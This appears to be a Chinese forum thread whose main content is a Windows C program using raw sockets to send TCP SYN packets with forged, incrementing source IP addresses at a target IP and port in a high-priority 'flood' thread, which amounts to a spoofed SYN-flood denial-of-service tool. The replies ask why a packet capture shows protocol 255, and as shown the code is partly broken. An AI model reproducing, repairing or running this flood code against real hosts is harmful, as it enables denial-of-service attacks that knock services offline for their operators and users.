#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h> 
#include <conio.h>#define FAKE_IP "201.79.131.18"
#define SEQ 0x28376839
#define right "===============Coder Paris-ye====================\n"
USHORT checksum(USHORT *buffer, int size);
int flood(); typedef struct tcphdr
{
    USHORT th_sport;
    USHORT th_dport;
    unsigned int th_seq;
    unsigned int th_ack;
    unsigned char th_lenres;
    unsigned char th_flag;
    USHORT th_win;
    USHORT th_sum;
    USHORT th_urp;
} TCP_HEADER;typedef struct iphdr
{
    unsigned char h_verlen;
    unsigned char tos;
    unsigned short total_len;
    unsigned short ident;
    unsigned short frag_and_flags;
    unsigned char  ttl;
    unsigned char proto;
    unsigned short checksum;
    unsigned int sourceIP;
    unsigned int destIP;
} IP_HEADER;struct
{
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char ptcl;
    unsigned short tcpl;
} PSD_HEADER;WSADATA wsaData;
SOCKET  sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=0,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
char        sendBuf[128];USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
        cksum+=*buffer++;
        size-=sizeof(USHORT);
    }
    if(size) cksum+=*(UCHAR*)buffer;
    cksum=(cksum >> 16)+(cksum&0xffff);
    cksum+=(cksum >>16);
    return (USHORT)(~cksum);
}int main(int argc, char* argv[])
{
    int    portNum=0;
    DWORD  dw;
    HANDLE hThread=NULL;
    char   putInfo;    if(argc!=3)
    {
        printf("%s\n",right);
        printf("Invalid command,Pls use:\n%s  <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
        return 1;
    }
    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
    {
        printf("WSAStartup failed: %d\n",ErrorCode);
        return 2;
    }    sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
    if(sockMain==INVALID_SOCKET)
    {
        printf("Socket failed: %d\n",WSAGetLastError());
        return 3;
    }
    ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
    if(ErrorCode==SOCKET_ERROR)
    {
        printf("Set sockopt failed: %d\n",WSAGetLastError());
        return 4;
    }
    ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
    if(ErrorCode==SOCKET_ERROR)
    {
        printf("Set sockopt time out failed: %d\n",WSAGetLastError());
        return 5;
    }
    portNum=atoi(argv[2]);    memset(&sockAddr,0,sizeof(sockAddr));
    sockAddr.sin_family=AF_INET;
    sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
    FakeIpNet=inet_addr(FAKE_IP);
    FakeIpHost=ntohl(FakeIpNet);    ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
    ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
    ipheader.ident = 1;
    ipheader.frag_and_flags = 0;
    ipheader.ttl = 128;
    ipheader.proto = IPPROTO_TCP;
    ipheader.checksum =0;
    ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
    ipheader.destIP = inet_addr(argv[1]);    tcpheader.th_dport=htons(portNum);
    tcpheader.th_sport = htons(portNum);
    tcpheader.th_seq = htonl(SEQ+SendSEQ);
    tcpheader.th_ack = 0;
    tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
    tcpheader.th_flag = 2;
    tcpheader.th_win = htons(16384);
    tcpheader.th_urp = 0;
    tcpheader.th_sum = 0;    PSD_HEADER.saddr=ipheader.sourceIP;
    PSD_HEADER.daddr=ipheader.destIP;
    PSD_HEADER.mbz=0;
    PSD_HEADER.ptcl=IPPROTO_TCP;
    PSD_HEADER.tcpl=htons(sizeof(tcpheader));
    printf("%s\n",right);
    printf("Warning[start to running]...........\nPress any key to stop!\n");
    putInfo=getch();
    hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
    SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
    ResumeThread(hThread);
    printf("Warning[RUNNING]...........\nPress any key to stop!\n");
    putInfo=getch();
    TerminateThread(hThread,0);
    WSACleanup();
    printf("\nStopd...........\n");
    return 0;
}int flood()
{
    while(1)
    {
        if(SendSEQ++==65536) SendSEQ=1;
        if(activPort++==40010) activPort=1000;
        ipheader.checksum =0;
        ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
        tcpheader.th_seq = htonl(SEQ+SendSEQ);
        tcpheader.th_sport = htons(activPort);
        tcpheader.th_sum = 0;
        PSD_HEADER.saddr=ipheader.sourceIP;
        memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
        memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
        tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));        memcpy(sendBuf,&ipheader,sizeof(ipheader));
        memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
        memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
        dataSize=sizeof(ipheader)+sizeof(tcpheader);
        ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
        memcpy(sendBuf,&ipheader,sizeof(ipheader));
        ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
        if(ErrorCode==SOCKET_ERROR)
        {
            printf("\nCan't connect this IP!Pls check it.\n");
            ExitThread(1);
        }
        // Sleep(1000);
        break;
    }
    return 0;
}

解决方案 »

  1.   

    以上在在BCB中编译,还需要增加一个WS2_32.lib库文件。其它都和VC编译一样。但是发送的不是我想要的TCP/IP包,只是IP包,包如下:
      

  2.   

    Flags:        0x00
      Status:       0x00
      Packet Length:78
      Timestamp:    20:26:37.455152 12/29/2004
    Ethernet Header
      Destination:  **:**:**:**:**:**  **********  [0-5]
      Source:       ??:??:??:??:??:??  ?????????  [6-11]
      Protocol Type:0x0800  IP  [12-13]
    IP Header - Internet Protocol Datagram
      Version:              4  [14 Mask 0xF0]
      Header Length:        5  (20  bytes)  [14 Mask 0x0F]
      Type of Service:      %00000000  [15]
      Precedence: Routine,   Normal Delay,   Normal Throughput,   Normal Reliability
      Total Length:         60  [16-17]
      Identifier:           7651  [18-19]
      Fragmentation Flags:  %000  May Fragment   Last Fragment  [20 Mask 0xE0]
      Fragment Offset:      0  (0  bytes)  [20-21 Mask 0x1FFF]
      Time To Live:         128  [22]
      Protocol:             255  [23]
      Header Checksum:      0x3F01  [24-25]
      Source IP Address:    ??.??.??.??  ?????????  [26-29]
      Dest. IP Address:     **.**.**.**  [30-33]
      No IP Options
      IP Data Area:
      E..(......9..O..  45 00 00 28 01 00 00 00 80 06 39 EB C9 4F 83 13  [34-49]
      .....A.P(7h:....  C0 A8 02 17 9C 41 00 50 28 37 68 3A 00 00 00 00  [50-65]
      [email protected]...          50 02 40 00 33 BD 00 00  [66-73]
    Frame Check Sequence:  0x00000000  [74-77]
      

  3.   

    从以上的收集的数据可以看出,Protocol应该是6(TCP协议),但是现在编程了255,没有定义。  
    请问上面的程序到底哪里出了问题?或者是需要设置哪里才可以?